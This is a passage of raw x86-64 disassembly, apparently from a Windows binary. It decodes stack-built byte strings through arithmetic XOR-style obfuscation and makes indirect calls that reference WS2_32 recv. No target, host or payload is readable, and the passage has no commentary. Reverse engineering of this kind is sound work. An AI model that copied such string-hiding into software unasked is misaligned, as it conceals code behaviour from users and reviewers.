movzx eax, r13b
and al, 0x3e
add al, al
mov edx, 0xe0
sub dl, al
lea ecx, [rdx + r13]
mov byte [rsp + 0x3c], cl
movzx ecx, byte [rsp + 0x3d]
movzx eax, cl
and al, 0x3f
add al, al
mov edx, 0xe1
sub dl, al
add cl, dl
mov byte [rsp + 0x3d], cl
movzx edx, byte [rsp + 0x3e]
movzx ecx, dl
and cl, 0x40
add cl, cl
mov eax, 0xe2
sub al, cl
add dl, al
mov byte [rsp + 0x3e], dl
movzx edx, byte [rsp + 0x3f]
movzx ecx, dl
and cl, 0x41
add cl, cl
mov eax, 0xe3
sub al, cl
add dl, al
mov byte [rsp + 0x3f], dl
movzx edx, byte [rsp + 0x40]
movzx ecx, dl
and cl, 0x42
add cl, cl
mov eax, 0xe4
sub al, cl
add dl, al
mov byte [rsp + 0x40], dl
movzx edx, byte [rsp + 0x41]
movzx ecx, dl
and cl, 0x43
add cl, cl
mov eax, 0xe5
sub al, cl
add dl, al
mov byte [rsp + 0x41], dl
movzx edx, byte [rsp + 0x42]
movzx ecx, dl
and cl, 0x44
add cl, cl
mov eax, 0xe6
sub al, cl
add dl, al
mov byte [rsp + 0x42], dl
movzx edx, byte [rsp + 0x43]
movzx ecx, dl
and cl, 0x45
add cl, cl
mov eax, 0xe7
sub al, cl
add dl, al
mov byte [rsp + 0x43], dl
movzx ecx, r13b
and cl, 0x46
add cl, cl
mov eax, 0xe8
sub al, cl
lea edx, [rax + r13]
mov byte [rsp + 0x44], dl
movzx edx, byte [rsp + 0x45]
movzx ecx, dl
and cl, 0x47
add cl, cl
mov eax, 0xe9
sub al, cl
add dl, al
mov byte [rsp + 0x45], dl
movzx edx, byte [rsp + 0x46]
movzx ecx, dl
and cl, 0x48
add cl, cl
mov eax, 0xea
sub al, cl
add dl, al
mov byte [rsp + 0x46], dl
movzx edx, byte [rsp + 0x47]
movzx ecx, dl
and cl, 0x49
add cl, cl
mov eax, 0xeb
sub al, cl
add dl, al
mov byte [rsp + 0x47], dl
movzx ecx, r13b
and cl, 0x4a
add cl, cl
mov eax, 0xec
sub al, cl
add r13b, al
mov byte [rsp + 0x48], r13b
movzx edx, byte [rsp + 0x49]
movzx ecx, dl
and cl, 0x4b
add cl, cl
mov eax, 0xed
sub al, cl
add dl, al
mov byte [rsp + 0x49], dl
mov dword [rsp + 0x50], 0x2f2b1016
mov dword [rsp + 0x54], 0x23561111
mov dword [rsp + 0x58], 0x390d4937
mov dword [rsp + 0x5c], 0x4f3a330d
mov dword [rsp + 0x60], 0x353b3330
mov dword [rsp + 0x64], 0x3393d
mov dword [rsp + 0x68], 0x9b7b0a3d
xor eax, eax
mov qword [rsp + 0x6c], rax
mov dword [rsp + 0x74], eax
mov byte [rsp + 0x78], al
xor r10d, r10d
movzx ecx, byte [rsp + r10 + 0x50]
lea edx, [r10 - 0x38]
movzx eax, dl
and al, cl
add al, al
sub dl, al
sub dl, 0x78
add dl, cl
mov byte [rsp + r10 + 0x50], dl
inc r10
cmp r10, 0x29
jb 0x1400153c1
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call qword [rbp - 0x50]
jmp 0x14001571e
mov cl, 0xe6
mov dl, 0xf8
mov r8b, 0xd6
mov r9b, 0xfa
mov r10b, 0xe0
mov r11b, 0x35
mov bl, 0xeb
mov dil, 0xe5
mov sil, 0xe2
movzx r14d, cl
movzx r15d, r10b
xorps xmm0, xmm0
movups xmmword [rbp - 0xc], xmm0
movzx eax, cl
and al, 0xf4
mov dword [rbp - 0x48], 0x24
sub byte [rbp - 0x48], al
mov eax, dword [rbp - 0x48]
add al, al
add cl, al
mov byte [rbp - 0x18], cl
movzx eax, dl
and al, 0xf5
add al, al
mov ecx, 0x49
sub cl, al
add dl, cl
mov byte [rbp - 0x17], dl
movzx eax, r8b
and al, 0xf6
mov ecx, 0x25
sub cl, al
add cl, cl
add r8b, cl
mov byte [rbp - 0x16], r8b
movzx ecx, r9b
and cl, 0xf7
add cl, cl
mov eax, 0x4b
sub al, cl
add r9b, al
mov byte [rbp - 0x15], r9b
movzx eax, r10b
and al, 0xf8
mov ecx, 0x26
sub cl, al
add cl, cl
add r10b, cl
mov byte [rbp - 0x14], r10b
movzx ecx, r11b
and cl, 0xf9
add cl, cl
mov eax, 0x4d
sub al, cl
add r11b, al
mov byte [rbp - 0x13], r11b
movzx eax, bl
and al, 0xfa
mov edx, 0x27
sub dl, al
add dl, dl
add bl, dl
mov byte [rbp - 0x12], bl
movzx ecx, dil
and cl, 0xfb
add cl, cl
mov eax, 0x4f
sub al, cl
add dil, al
mov byte [rbp - 0x11], dil
movzx eax, sil
and al, 0xfc
mov ecx, 0x28
sub cl, al
add cl, cl
add sil, cl
mov byte [rbp - 0x10], sil
movzx ecx, r14b
and cl, 0xfd
add cl, cl
mov eax, 0x51
sub al, cl
add r14b, al
mov byte [rbp - 0xf], r14b
movzx eax, r15b
and al, 0xfe
mov ecx, 0x29
sub cl, al
add cl, cl
add r15b, cl
mov byte [rbp - 0xe], r15b
mov eax, 0x53
sub al, al
mov byte [rbp - 0xd], al
movd eax, xmm0
add al, 0x54
mov byte [rbp - 0xc], al
movzx edx, byte [rbp - 0xb]
movzx ecx, dl
and cl, 1
add cl, cl
mov eax, 0x55
sub al, cl
add dl, al
mov byte [rbp - 0xb], dl
movzx ecx, byte [rbp - 0xa]
movzx eax, cl
and al, 2
mov edx, 0x2b
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 0xa], cl
movzx edx, byte [rbp - 9]
movzx ecx, dl
and cl, 3
add cl, cl
mov eax, 0x57
sub al, cl
add dl, al
mov byte [rbp - 9], dl
movzx ecx, byte [rbp - 8]
movzx eax, cl
and al, 4
mov edx, 0x2c
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 8], cl
movzx edx, byte [rbp - 7]
movzx ecx, dl
and cl, 5
add cl, cl
mov eax, 0x59
sub al, cl
add dl, al
mov byte [rbp - 7], dl
movzx ecx, byte [rbp - 6]
movzx eax, cl
and al, 6
mov edx, 0x2d
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 6], cl
movzx edx, byte [rbp - 5]
movzx ecx, dl
and cl, 7
add cl, cl
mov eax, 0x5b
sub al, cl
add dl, al
mov byte [rbp - 5], dl
movzx ecx, byte [rbp - 4]
movzx eax, cl
and al, 8
mov edx, 0x2e
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 4], cl
movzx edx, byte [rbp - 3]
movzx ecx, dl
and cl, 9
add cl, cl
mov eax, 0x5d
sub al, cl
add dl, al
mov byte [rbp - 3], dl
movzx ecx, byte [rbp - 2]
movzx eax, cl
and al, 0xa
mov edx, 0x2f
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp - 2], cl
movzx edx, byte [rbp - 1]
movzx ecx, dl
and cl, 0xb
add cl, cl
mov eax, 0x5f
sub al, cl
add dl, al
mov byte [rbp - 1], dl
movzx ecx, byte [rbp]
movzx eax, cl
and al, 0xc
mov edx, 0x30
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp], cl
movzx edx, byte [rbp + 1]
movzx ecx, dl
and cl, 0xd
add cl, cl
mov eax, 0x61
sub al, cl
add dl, al
mov byte [rbp + 1], dl
movzx ecx, byte [rbp + 2]
movzx eax, cl
and al, 0xe
mov edx, 0x31
sub dl, al
add dl, dl
add cl, dl
mov byte [rbp + 2], cl
movzx edx, byte [rbp + 3]
movzx ecx, dl
and cl, 0xf
add cl, cl
mov eax, 0x63
sub al, cl
add dl, al
mov byte [rbp + 3], dl
mov dword [rsp + 0x50], 0x7f736c76
mov dword [rsp + 0x54], 0xba67575
mov dword [rsp + 0x58], 0xd79a577
mov dword [rsp + 0x5c], 0xbf127361
mov dword [rsp + 0x60], 0x1163136c
mov dword [rsp + 0x64], 0x6c6b6d61
mov dword [rsp + 0x68], 0x93b31a69
xor eax, eax
mov qword [rsp + 0x6c], rax
mov dword [rsp + 0x74], eax
mov word [rsp + 0x78], ax
mov byte [rsp + 0x7a], al
lea r9d, [rax + 0x19]
nop
movzx r8d, byte [rsp + r13 + 0x50]
lea edx, [r13 + 0x42]
movzx eax, dl
and al, r8b
mov ecx, r9d
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rsp + r13 + 0x50], cl
inc r13
cmp r13, 0x2b
jb 0x1400156e0
mov r9d, reloc.WS2_32.dll_recv
lea r8, [rbp - 0x18]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call r12
xor eax, eax
mov rcx, qword [rbp + 0x28]
xor rcx, rsp
call fcn.1400cf720
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret